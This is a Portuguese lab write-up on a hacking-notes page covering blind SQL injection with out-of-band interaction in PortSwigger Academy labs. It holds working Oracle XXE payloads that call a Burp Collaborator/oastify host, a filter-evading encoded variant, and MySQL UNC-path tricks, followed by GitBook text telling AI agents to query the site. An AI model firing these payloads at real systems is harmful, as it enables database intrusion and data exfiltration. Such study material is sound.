> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/sql-injection/blind-sql-injection-with-oob-interaction.md).

# Injeção SQL Cega com Interação Fora de Banda

Notas sobre Injeção SQL Cega com Interação Fora de Banda para laboratórios da PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payloads, validação no Burp Suite e contexto de remediação.

### Injeção SQL cega com interação fora de banda

**Contexto breve:** o valor do `TrackingId` cookie (ou outro parâmetro) é injetado em uma consulta SQL assíncrona. A resposta HTTP não revela nada, mas é possível causar interação externa (DNS/HTTP) com um serviço Burp Collaborator/OAST, o que permite exfiltrar ou confirmar a execução de um payload.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1c407607f7ab3b147f62cd9d290131759cf865ed%2F%7B3D22500E-DCC2-48EB-B6B0-08E588C47033%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Técnicas e Vetores

#### Oracle — Entidade Externa XML (XXE) via `EXTRACTVALUE` / `xmltype`

* Princípio: construa um documento XML contendo uma entidade externa apontando para o seu subdomínio do Collaborator. A chamada para `EXTRACTVALUE(xmltype(...), '/l')` avalia o DTD e causa a solicitação HTTP/DNS de saída para o domínio controlado:

```sql
' UNION SELECT EXTRACTVALUE(
    xmltype('<?xml version="1.0"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLAB-SUBDOMAIN/"> %remote;]>'),
    '/l') FROM dual-- -
```

* Observações: alguns caracteres devem ser codificados/escapados de acordo com o contexto (aspas, `%` em DTD etc.). Em alguns casos, codifique partes do payload em URL.

#### MySQL — Arquivos de rede via `LOAD_FILE` / `SELECT... INTO OUTFILE`

* `LOAD_FILE('//BURP-COLLAB-SUBDOMAIN/a')` pode causar uma consulta SMB/DNS de saída em ambientes que permitem acesso de rede ao servidor de arquivos ou que resolvem caminhos UNC.
* `SELECT... INTO OUTFILE '//BURP-COLLAB-SUBDOMAIN/a'` grava um arquivo em um compartilhamento de rede, frequentemente causando interação de rede observável do lado do Collaborator.
* Observação: essas técnicas dependem fortemente da configuração (privilégios da conta do banco de dados, opções do servidor, acesso de rede de saída).

#### Notas Práticas

* Para o Burp Collaborator / OAST, use o subdomínio fornecido (por exemplo, `abcd.oastify.com`) na URL/caminho da entidade ou no caminho UNC.
* Alguns servidores truncam/filtram os payloads: teste diferentes variações de codificação (codificação em URL, `%` escapar → `%25`, variações de comentário, etc.).
* Quando a solicitação do Collaborator chega, você tem prova de execução OOB (DNS/HTTP/SMB), o que confirma a vulnerabilidade.

#### Exemplo — Variante com Codificação (observação: você já testou e recebeu a solicitação)

* Exemplo codificado (você apresentou):

  ```sql
  ' union SELECT EXTRACTVALUE(xmltype('<?xml version="1.0"?><!DOCTYPE root [ <!ENTITY %25 remote SYSTEM "http://vwvitjrnb8um4dlf2x9blfuy3p9gxbl0.oastify.com"> %25remote%3b]>'),'/l') FROM dual-- -
  ```

→ `%` codificação → `%25` e `;` → `%3b` para contornar certos filtros/análises.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f8b10b8af56f79ac386649aa8cc0d19b678fe96a%2F%7B37815FA9-3A15-4291-96D9-8DD2B861396A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/sql-injection/blind-sql-injection-with-oob-interaction.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
